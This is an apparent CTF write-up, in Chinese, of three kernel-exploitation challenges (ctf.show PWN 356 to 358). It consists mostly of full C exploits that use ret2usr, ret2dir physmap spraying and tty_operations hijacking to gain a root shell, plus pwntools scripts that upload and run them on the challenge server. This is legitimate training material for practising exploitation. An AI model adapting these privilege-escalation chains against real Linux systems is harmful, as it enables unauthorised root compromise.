PWN 356
本题和强网杯 2018的 qwb2018-core一模一样。
详细请看我之前的文章: Kernel PWN 入门(二)
exp:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr;
size_t commit_creds_addr;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell(){
if(getuid()==0){
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}else{
puts("[-] get root shell failed.");
exit(-1);
}
}
void get_root(){ //ret2user
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
int show_read(int fd,size_t* addr){
if(ioctl(fd,1719109787,addr)==-1){
printf("[*]show_read failed");
return -1;
}
return 0;
}
int set_off(int fd,int off){
if(ioctl(fd,1719109788,off) == -1){
printf("[*]show_read failed");
return -1;
}
return 0;
}
int show_copy_func(int fd,unsigned long len){
if(ioctl(fd,1719109786,len)==-1){
printf("[*]show_read failed");
return -1;
}
return 0;
}
unsigned long get_symbol_address(const char *symbol_name) {
FILE *fp;
char line[1024];
unsigned long address;
char symbol[1024];
// 打开 /proc/kallsyms 文件
fp = fopen("/tmp/kallsyms", "r");
if (fp == NULL) {
perror("fopen");
return 0;
}
// 遍历每一行,查找符号
while (fgets(line, sizeof(line), fp) != NULL) {
// 解析每行的地址和符号名称
if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
// 如果符号名称匹配,返回地址
if (strcmp(symbol, symbol_name) == 0) {
fclose(fp);
return address;
}
}
}
// 如果没有找到符号,返回 0
fclose(fp);
return 0;
}
int main(){
save_status();
//leak stack
int fd = open("/proc/show",O_RDWR);
int i = 0;
size_t stack[16] = {0};
size_t rop[0x50] = {0};
set_off(fd,0x40);
show_read(fd,stack);
size_t canary = stack[0];
printf("canary is ------------->: 0x%lx\n",canary);
//leak addr
size_t startup_64 = get_symbol_address("startup_64");
unsigned long offset = startup_64-nokalsr_kernel_base;
prepare_kernel_cred_addr = get_symbol_address("prepare_kernel_cred");
commit_creds_addr = get_symbol_address("commit_creds");
printf("offset is ==========>: %lx\n",offset);
printf("prepare_kernel_cred_addr is ==========>: %lx\n",prepare_kernel_cred_addr);
printf("commit_creds_addr is ==========>: %lx\n",commit_creds_addr);
//rop
size_t pop_rdi_ret = 0xffffffff81000b2f+offset;
size_t swapgs_popfq_ret = 0xffffffff81a012da+offset;
size_t iretq_ret = 0xffffffff81050ac2+offset;
for(int j =0;j<10;j++){
rop[i++] = 0;
}
rop[8] = canary;
rop[i++] = (size_t)get_root;
rop[i++] = swapgs_popfq_ret;
rop[i++] = 0;
rop[i++] = iretq_ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x100);
show_copy_func(fd,0xffffffffffff0100);
return 0;
}

打远程用的脚本:
from pwn import *
import base64
context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("pwn.challenge.ctf.show", 28290)
#p = process('./run.sh')
try_count = 1
while True:
p.sendline()
p.recvuntil("/ $")
count = 0
for i in range(0, len(exp), 0x200):
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
for i in range(count):
p.recvuntil("/ $")
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
break
p.interactive()

PWN 357
本题和MINI-LCTF2022 - kgadget一样的原题
打 ret2dir
详细请看我的博客: kernel pwn 入门(四) ret2dir详细
EXP:
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <string.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <signal.h>
size_t user_cs, user_ss, user_rflags, user_sp;
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t prepare_kernel_cred_addr=0xffffffff810c9540;
size_t commit_creds_addr=0xffffffff810c92e0;
size_t init_cred = 0xffffffff82a6b700;
size_t pop_rdi = 0xffffffff8108c6f0;
size_t swapgs_pop_rbp = 0xffffffff81bb99af;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0+0x1b;
size_t pop_rsp = 0xffffffff811483d0;
size_t up_rsp = 0xffffffff81488561; //add rsp, 0xa8; pop rbx; pop r12; pop rbp; ret;
size_t ret = 0xffffffff810001fc;
size_t target;
int fd;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}
void get_shell(){
if(getuid()==0){
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}else{
puts("[-] get root shell failed.");
exit(-1);
}
}
void get_root(){ //ret2user
char* (*pkc)(int) = prepare_kernel_cred_addr;
void (*cc)(char*) = commit_creds_addr;
(*cc)((*pkc)(0));
}
unsigned long get_symbol_address(const char *symbol_name) {
FILE *fp;
char line[1024];
unsigned long address;
char symbol[1024];
// 打开 /proc/kallsyms 文件
fp = fopen("/tmp/kallsyms", "r");
if (fp == NULL) {
perror("fopen");
return 0;
}
// 遍历每一行,查找符号
while (fgets(line, sizeof(line), fp) != NULL) {
// 解析每行的地址和符号名称
if (sscanf(line, "%lx %*c %s", &address, symbol) == 2) {
// 如果符号名称匹配,返回地址
if (strcmp(symbol, symbol_name) == 0) {
fclose(fp);
return address;
}
}
}
// 如果没有找到符号,返回 0
fclose(fp);
return 0;
}
void copy_dir(){
size_t* payload;
unsigned int idx = 0;
payload = mmap(NULL,4096,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS | MAP_PRIVATE,-1,0);
for(int i =0;i<(4096/8-11-0x30);i++){
payload[idx++] = up_rsp;
}
for(int i = 0;i<0x30;i++){
payload[idx++] = ret;
}
payload[idx++] = pop_rdi;
payload[idx++] = init_cred;
payload[idx++] = commit_creds_addr;
payload[idx++] = swapgs_restore_regs_and_return_to_usermode;
payload[idx++] = 0;
payload[idx++] = 0;
payload[idx++] = (size_t)get_shell;
payload[idx++] = user_cs;
payload[idx++] = user_rflags;
payload[idx++] = user_sp;
payload[idx++] = user_ss;
}
int main(){
save_status();
fd = open("/dev/ctfshow",O_RDWR);
for(int i =0;i<0x3000;i++){
copy_dir();
}
target = 0xFFFF888000000000 + 0x6000000;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, 0x22222222;"
"mov r12, 0x33333333;"
"mov rbp, 0x44444444;"
"mov rbx, 0x55555555;"
"mov r11, 0x66666666;"
"mov r10, 0x77777777;"
"mov r9, pop_rsp;"
"mov r8, target;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, target;"
"mov rsi, 0x1bf52;"
"mov rdi, fd;"
"mov rax, 0x10;"
"syscall"
);
return 0;
}
PWN 358
也是原题,详细请看kernel pwn 入门(三) ret2usr+bypass SMEP
EXP
#include "kernel_pwn.h"
size_t nokalsr_kernel_base = 0xffffffff81000000;
size_t kernel_base;
int fd1;
int fd2;
int tty_fd;
int main()
{
bind_core(0);
save_status();
fd1 = open("/dev/easydev",2);
fd2 = open("/dev/easydev",2);
if(fd1<0){
err_exit("open failed....");
}
ioctl(fd1,0x10001,0x2e0);
close(fd1);
tty_fd = open("/dev/ptmx",2);
size_t buf[0x100] = {0};
size_t tty_oper[0x100] = {0};
int idx = 0;
read(fd2,buf,0x100);
binary_dump((char*)buf,0x100,0);
tty_oper[idx++] = 0;
tty_oper[idx++] = 0xffffffff810d238d;
tty_oper[idx++] = 0xffffffff81e48c60;
tty_oper[idx++] = 0xffffffff810a1420;
tty_oper[idx++] = 0xffffffff81063694;
tty_oper[idx++] = 0;
tty_oper[idx++] = 0xffffffff814e35ef;
tty_oper[idx++] = (size_t)get_shell;
tty_oper[idx++] = user_cs;
tty_oper[idx++] = user_rflags;
tty_oper[idx++] = user_sp;
tty_oper[idx++] = user_ss;
tty_oper[12] = 0xffffffff816b316a; //push rdx; adc byte ptr [rbx + 0x41], bl; pop rsp; pop r13; pop rbp; ret;
buf[3] = (size_t)tty_oper;
write(fd2,buf,0x100);
binary_dump((char*)buf,0x100,0);
ioctl(tty_fd,0,tty_oper-0x1);
return 0;
}
上传脚本:
from pwn import *
import base64
context.log_level = "debug"
with open("./exp", "rb") as f:
exp = base64.b64encode(f.read())
p = remote("pwn.challenge.ctf.show", 28304)
p.recvuntil(b"$ ")
p.sendline(b"ls")
count = 0
for i in range(0, len(exp), 0x200):
p.recvuntil(b"/ $ ")
p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp")
count += 1
log.info("count: " + str(count))
p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
p.sendline("chmod +x /tmp/exploit")
p.sendline("/tmp/exploit ")
p.interactive()

1325

被折叠的 条评论
为什么被折叠?



